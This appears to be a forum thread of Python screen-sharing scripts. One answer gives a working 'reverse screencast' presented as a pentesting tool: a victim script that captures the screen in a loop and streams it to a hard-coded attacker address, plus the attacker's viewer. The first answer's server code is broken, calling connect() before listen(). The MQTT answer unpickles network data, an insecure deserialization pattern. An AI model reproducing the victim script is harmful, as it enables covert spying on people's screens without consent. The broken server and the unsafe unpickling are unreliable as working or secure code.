Screen sharing in python

I just tried and it seems to work pretty well (Python 3). Let me know if you find this acceptable, I am using the MSS module to prevent I/O.

server.py

from socket import socket
from threading import Thread
from zlib import compress

from mss import mss


WIDTH = 1900
HEIGHT = 1000


def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while 'recording':
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)


def main(host='0.0.0.0', port=5000):
    sock = socket()
    sock.connect((host, port))
    try:
        sock.listen(5)
        print('Server started.')

        while 'connected':
            conn, addr = sock.accept()
            print('Client connected IP:', addr)
            thread = Thread(target=retreive_screenshot, args=(conn,))
            thread.start()
    finally:
        sock.close()


if __name__ == '__main__':
    main()

client.py

from socket import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """

    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf


def main(host='127.0.0.1', port=5000):
    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True    

    sock = socket()
    sock.connect((host, port))
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(sock.recv(1), byteorder='big')
            size = int.from_bytes(sock.recv(size_len), byteorder='big')
            pixels = decompress(recvall(sock, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        sock.close()


if __name__ == '__main__':
    main()

You could improve by using another compression algorithm like LZ4, which have a Python implementation. You will need to try out :)


i made a reverse screencast, (a pentesting tool), where the server(victim) will send the data to the client(attacker)

Attacker

import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf

def main(host='192.168.1.208', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)

    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True    

    
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()

if __name__ == "__main__":
    main()  

VICTIM

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

WIDTH = 1900
HEIGHT = 1000

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.1.208', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))
    try:
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()

I was interested in a python based screen sharing set of scripts. I did not care to write the low-level socket code. I recently discovered an interesting messaging broker/server called mosquitto (https://mosquitto.org/) In short, you make a connection to the server and subscribe to topics. When the broker receives a message on the topic you are subscribed to it will send you that message.

Here are two scripts that connect to the mosquitto broker. One script listens for a request for a screen grab. The other script requests screen grabs and displays them.

These scripts rely on image processing modules to do the heavy lifting The process is

  1. client requests screen
  2. server is notified that there is a message on a topic for a screen grab
  3. server grabs screen with mss
  4. server converts screen to numpy
  5. server base 64 encodes a compressed pickled numpy image
  6. server does a delta with the last image if possible
  7. server publishes the base 64 string to the screen grab topic
  8. client is notified that there is a message on the screen grab topic
  9. client reverses the process
  10. client displays the screen
  11. client goes back to step 1

Quit the server with a command line message C:\Program Files\mosquitto>mosquitto_pub.exe -h "127.0.0.1" -t "server/quit" -m "0"

This implementation uses delta refreshes. It uses numpy to xor the current and last screen. This really increases the compression ratio. It demonstrates that an offsite server can be used and connected to by many clients who may be interested in a live stream of what is going on on a certain machine. These scripts are definitely not production quality and only serve as a POC.

script 1 - the server

import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle

monitor = 0 # all monitors
quit = False
capture = False

def on_connect(client, userdata, flags, rc):
    print("Connected flags " + str(flags) + " ,result code=" + str(rc))

def on_disconnect(client, userdata, flags, rc):
    print("Disconnected flags " + str(flags) + " ,result code=" + str(rc))

def on_message(client, userdata, message):
    global quit
    global capture
    global last_image

    if message.topic == "server/size":
        with mss.mss() as sct:
            sct_img = sct.grab(sct.monitors[monitor])
            size = sct_img.size
            client.publish("client/size", str(size.width) + "|" + str(size.height))

    if message.topic == "server/update/first":
        with mss.mss() as sct:
            b64img = BuildPayload(False)
            client.publish("client/update/first", b64img)

    if message.topic == "server/update/next":
        with mss.mss() as sct:
            b64img = BuildPayload()
            client.publish("client/update/next", b64img)

    if message.topic == "server/quit":
        quit = True

def BuildPayload(NextFrame = True):
    global last_image
    with mss.mss() as sct:
        sct_img = sct.grab(sct.monitors[monitor])
        image = numpy.array(sct_img)
        if NextFrame  == True:
            # subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
            xor_image = image ^ last_image
            b64img = base64.b64encode(zlib.compress(pickle.dumps(xor_image), 9))
        else:
            # first image - less compression than delta
            b64img = base64.b64encode(zlib.compress(pickle.dumps(image), 9))
            print("Source Image Size=" + str(len(sct_img.rgb)))
        last_image = image
        print("Compressed Image Size=" + str(len(b64img)) + " bytes")
        return b64img

myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_disconnect = on_disconnect
client.on_message = on_message
try:
    client.connect("127.0.0.1")
    client.loop_start()
    client.subscribe("server/size")
    client.subscribe("server/update/first")
    client.subscribe("server/update/next")
    client.subscribe("server/quit")
    while not quit:
        time.sleep(5)
        continue
    client.publish("client/quit")
    time.sleep(5)
    client.loop_stop()
    client.disconnect()
except:
    print("Could not connect to the Mosquito server")

script 2 - the client

import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle

quit = False
size = False
capture = False
width = 0
height = 0
last_image = None
first = False

def on_connect(client, userdata, flags, rc):
    print("Connected flags " + str(flags) + " ,result code=" + str(rc))

def on_message(client, userdata, message):
    global quit
    global size
    global capture
    global width
    global height
    global last_image
    global first

    if message.topic == "client/size":
        if width == 0 and height == 0:
            strsize = message.payload.decode("utf-8")
            strlist = strsize.split("|")
            width = int(strlist[0])
            height = int(strlist[1])
            size = True

    if message.topic == "client/update/first":
        # stay synchronized with other connected clients
        if size == True:
            DecodeAndShowPayload(message, False)
            first = True

    if message.topic == "client/update/next":
        # stay synchronized with other connected clients
        if size == True and first == True: 
            DecodeAndShowPayload(message)

    if message.topic == "client/quit":
        quit = True

def DecodeAndShowPayload(message, NextFrame = True):
    global last_image
    global capture
    global quit

    if NextFrame == True:
        # subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
        xor_image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
        image = last_image ^ xor_image
    else:
        # first image - less compression than delta
        image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
    last_image = image
    cv2.imshow("Server", image)
    if cv2.waitKeyEx(25) == 113:
        quit = True
    capture = False

myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_message = on_message
try:
    client.connect("127.0.0.1")
    client.loop_start()
    client.subscribe("client/size")
    client.subscribe("client/update/first")
    client.subscribe("client/update/next")
    client.subscribe("client/quit")

    # ask once and retain in case client starts before server
    asksize = False
    while not size:
        if not asksize:
            client.publish("server/size", "1", 0, True)
            asksize = True 
        time.sleep(1)

    first_image = True
    while not quit:
        if capture == False:
            capture = True
            if first_image:
                client.publish("server/update/first")
                first_image = False
            else:
                client.publish("server/update/next")
        time.sleep(.1)

    cv2.destroyAllWindows()
    client.loop_stop()
    client.disconnect()
except:
    print("Could not connect to the Mosquito server")

Sample output showing compression ex: Source is 18,662,400 Bytes (3 screens) A compressed image is as small as 35,588 Bytes which is 524 to 1

enter image description here